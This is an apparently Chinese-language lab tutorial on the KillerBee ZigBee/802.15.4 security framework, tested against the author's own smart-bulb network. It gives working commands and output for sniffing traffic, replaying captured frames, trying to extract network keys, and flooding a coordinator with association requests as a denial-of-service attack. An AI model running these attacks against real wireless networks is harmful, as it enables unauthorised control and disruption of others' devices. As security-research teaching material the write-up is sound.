KillerBee框架

KillerBee是针对ZigBee和IEEE 802.15.4网络的框架和安全研究工具。

框架要求

KillerBee目前仅支持Linux系统。在安装之前必须安装以下Python模块。在Ubuntu系统上，可以使用以下命令安装所需的依赖项：

1
2
3
4
# apt-get install python-gtk2 python-cairo python-usb python-crypto python-serial python-dev libgcrypt-dev
# git clone https://github.com/secdev/scapy
# cd scapy
# python setup.py install

安装KillerBee

KillerBee 使用标准的Python “setup.py” 安装文件。使用以下命令安装KillerBee：

1
# python setup.py install

目录结构

KillerBee代码的目录结构描述如下：

  • doc - KillerBee库中的HTML文档，由epydoc提供。
  • firmware - 支持的KillerBee硬件设备的固件。
  • killerbee - Python库源代码。
  • sample - 样本数据包捕获，在下面引用。
  • scripts - 开发中使用的Shell脚本。
  • tools - 使用此框架开发的ZigBee和IEEE 802.15.4攻击工具。

硬件要求

KillerBee框架目前支持多款设备，包括River Loop ApiMote、Atmel RZ RAVEN无线电收发器、MoteIVTmote Sky、TelosB mote、Sewino嗅探器和运行Silicon Labs Node Test固件的各种硬件。

工具介绍

KillerBee包括多种工具，用于攻击使用KillerBee框架构建的ZigBee和IEEE 802.15.4网络。通过“ -h”参数可以查看详细的使用说明，在下面进行了概述。

  • zbid - 标识KillerBee和关联工具可以使用的可用接口。
  • zbwireshark - 与zbdump相似，但是公开了一个命名管道，以便在Wireshark中进行实时捕获和查看。
  • zbdump - 类似tcpdump的功能，用于捕获ibpcap数据包文件。它可以以pcap和Daintree格式保存数据包。
  • zbreplay - 实施重放攻击，从指定的Daintree DCF或libpcap数据包捕获文件中读取数据，然后重新传输帧。ACK帧不会重新发送。
  • zbstumbler - 激活ZigBee和IEEE 802.15.4网络发现工具。Zbstumbler发送信标请求帧，同时跳频，记录和显示有关已发现设备的摘要信息。
  • zbdsniff - 捕获ZigBee流量，查找NWK帧和无线密钥配置。找到密钥后，zbdsniff会将密钥打印到stdout。
  • zbkey - 尝试向协调器发送连接请求获取密钥。
  • zbconvert - 将数据包捕获从Libpcap转换为Daintree SNA格式，反之亦然。
  • zbfind - 一个GTK GUI应用程序，用于通过测量RSSI来跟踪IEEE 802.15.4发射机的位置。
  • bscapy - 提供一个交互式的Scapy shell，用于通过KillerBee界面进行交互。必须安装Scapy才能运行此功能。

框架介绍

KillerBee主要用于针对数据包捕获文件（libpcap或Daintree SNA）中嗅探数据包的过程，并用于注入任意数据包。包括IEEE 802.15.4，ZigBee NWK和ZigBee APS数据包解码器在内的辅助功能也可用。

KillerBee API以epydoc格式记录，此发行版的doc/目录中包含HTML文档。如果已安装epydoc，则还可以根据需要生成一个方便的PDF进行打印，如下所示：

1
2
3
$ cd killerbee
$ mkdir pdf
$ epydoc --pdf -o pdf killerbee/

pdf/ 目录将包含一个名为“api.pdf”的文件，其中包括框架文档。

由于KillerBee是一个Python库，因此它集成了其他Python软件。例如，Sulley库是由Pedram Amini用Python编写的模糊测试框架。KillerBee框架使用它来数据包注入功能，用于生成格式不正确的ZigBee数据并将其传输到目标。

ZigBee流量分析

ZigBee网络环境

搭建ZigBee协议通信的智能灯泡系统，一共四个终端设备（RGB灯，分为1、2、3、4号）以及ZigBee协调器用于与每个终端设备（灯）网络通信。

终端设备（灯）

使用ApiMote

在树莓派环境下，根据前面的介绍安装好KillerBee框架以后，下面开始用手上的ApiMote硬件设备进行ZigBee流量的分析测试。

image-20210202161513999

ApiMote连接树莓派以后，会自动检测到ApiMote（ID 0403:6015）并加载驱动程序。

1
2
3
4
5
root@raspberrypi:/home/pi/Desktop# lsusb
Bus 001 Device 005: ID 0403:6015 Future Technology Devices International, Ltd Bridge(I2C/SPI/UART/FIFO)
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

ApiMote通常会预装好固件，不需要重新刷写。若需要刷写固件，步骤如下：

  1. 在 firware/ 目录下包含多种设备的固件，选择ApiMote的固件apimotev4_202011.hex

  2. 运行flash_apimote.sh脚本，如果第一次不同步而超时，有时可能需要两次尝试才能正确闪烁。

  3. 可以通过运行 sudo zbid来验证固件，并列出设备。

    1
    2
    3
    root@raspberrypi:/home/pi/Desktop# zbid
               Dev Product String       Serial Number
      /dev/ttyUSB1 GoodFET Api-Mote v2

嗅探数据包

zbwireshark允许用户在Wireshark中实时嗅探和查看ZigBee流量。该工具创建一个管道，Wireshark然后从中读取数据，并实时显示出来。

1
2
root@raspberrypi:/home/pi/Desktop# zbwireshark -f 15
zbwireshark: listening on '/dev/ttyUSB1', channel 15, page 0 (2425.0 MHz), link-type DLT_IEEE802_15_4, capture size 127 bytes

-f 参数指定第 15 信道。

image-20210202210009270

也可以使用 zbdump 以pcap和DainTree格式嗅探并保存数据包。这里我们以pcap格式，以便使用wireshark打开分析协议，下面运行zbdump，同样使用 -f 指定信道。

1
2
3
4
root@raspberrypi:/home/pi/Desktop# zbdump -f 15 -w test.pcap 
zbdump: listening on '/dev/ttyUSB1', channel 15, page 0 (2425.0 MHz), link-type DLT_IEEE802_15_4, capture size 127 bytes
^C
54 packets captured

使用wireshark打开捕获的数据包

image-20210202212931882

数据包中，捕获的源和目的地址被分配了网络ID，例如

  • PAN ID ：0xd85b

  • 0x0000 通常是协调器。

  • 0x0c08 是其中一个终端设备加入ZigBee网络分配的ID。
  • 扩展地址是硬件地址：00:12:4b:00:22:30:5e:4b

重放ZigBee流量

通过捕获设备的数据包，然后将该流量进行重播回设备。

zbdump刚刚使用过此工具将流量保存到数据包文件中，接下来使用zbreply工具，将从zbdump获取的pcap文件，通过ApiMote对其重播。

-f 参数指定信道，-w 参数指定用于写入捕获的数据包的pcap文件，-r指定用于读取捕获的数据包的pcap文件。

1
2
3
4
5
6
7
root@raspberrypi:/home/pi/Desktop# zbdump -f 15 -w operating.pcap
zbdump: listening on '/dev/ttyUSB0', channel 15, page 0 (2425.0 MHz), link-type DLT_IEEE802_15_4, capture size 127 bytes
^C
61 packets captured
root@raspberrypi:/home/pi/Desktop# zbreplay -f 15 -r operating.pcap
zbreplay: retransmitting frames from 'operating.pcap' on interface '/dev/ttyUSB0' with a delay of 1.0 seconds.
34 packets transmitted

嗅探密钥

zbdsniff 工具可以从ZigBee网络抓取的流量数据包pcap文件中发现明文的密钥key，并返回key。

1
2
3
root@raspberrypi:/home/pi/Desktop# zbdsniff -f operating.pcap -k c028128de295be0708aebe9eed
Processing operating.pcap
[+] Processed 1 capture files.

但是我没有从文件中得到任何输出，可能没有找到可用的key。

zbkey 与 zbdsniff 目的相似，不同的是 zbkey 会向协调器发送连接，然后发送数据请求来检索获取密钥，而不是扫描pcap文件。-f 参数指定信道，-s 定时，-p 参数指定 PAN ID，-a 参数指定ZigBee硬件地址。但是没有返回成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@raspberrypi:/home/pi/Desktop# zbkey -f 15 -s 0.1 -p d85b -a 00124b0022305e4b 
Sending association packet...
Sending data request packet...
Received frame                                          .^
Length of packet received in associate_handle: 54
0000:  61 88 ac 5b d8 c4 10 00 00 08 02 c4 10 00 00 1e   a..[............
0010:  81 28 49 b4 09 00 3a a9 da fe ff 27 71 84 00 ce   .(I...:....'q...
0020:  8c 9f 39 98 2e 26 f8 2c d1 54 ca 0a d9 2d fb 6c   ..9..&.,.T...-.l
0030:  06 82 e3 29 03 00                                 ...)..

Received frame
Length of packet received in associate_handle: 50
0000:  61 88 cd 5b d8 08 0c a2 c4 08 02 08 0c 00 00 1d   a..[............
0010:  85 28 47 99 02 00 4b 5e 30 22 00 4b 12 00 00 b5   .(G...K^0".K....
0020:  a9 58 f8 e2 96 ed ab 4f 9b 50 76 b4 99 d2 99 1a   .X.....O.Pv.....
0030:  09 d1                                             ..

Received frame
Length of packet received in associate_handle: 5
0000:  02 00 af 45 e8                                    ...E.

Sorry, we didn't hear a device respond with an association response. Do you have an active target within range?

拒绝服务攻击

KillerBee 框架提供了 zbassocflood工具，该工具尝试将大量关联请求发送到目标网络。需要PAN ID（-p），信道（-c）和定时（-s）。

1
2
3
4
5
root@raspberrypi:/home/pi/Desktop# zbassocflood -p d85b -c 15 -s 0.1
zbassocflood: Transmitting and receiving on interface '/dev/ttyUSB0'
.............
^C
Sent 13 associate requests.

KillerBee的攻击方式大致分为，发现设备（zbstumbler、zbopenear、zbfind），嗅探流量（zbdump、zbwireshark），获取密钥（zbdsniff、zbkey、zbgoodfind），重放流量（zbscapy、zbreplay），拒绝服务（zbscapy、zbassocflood）。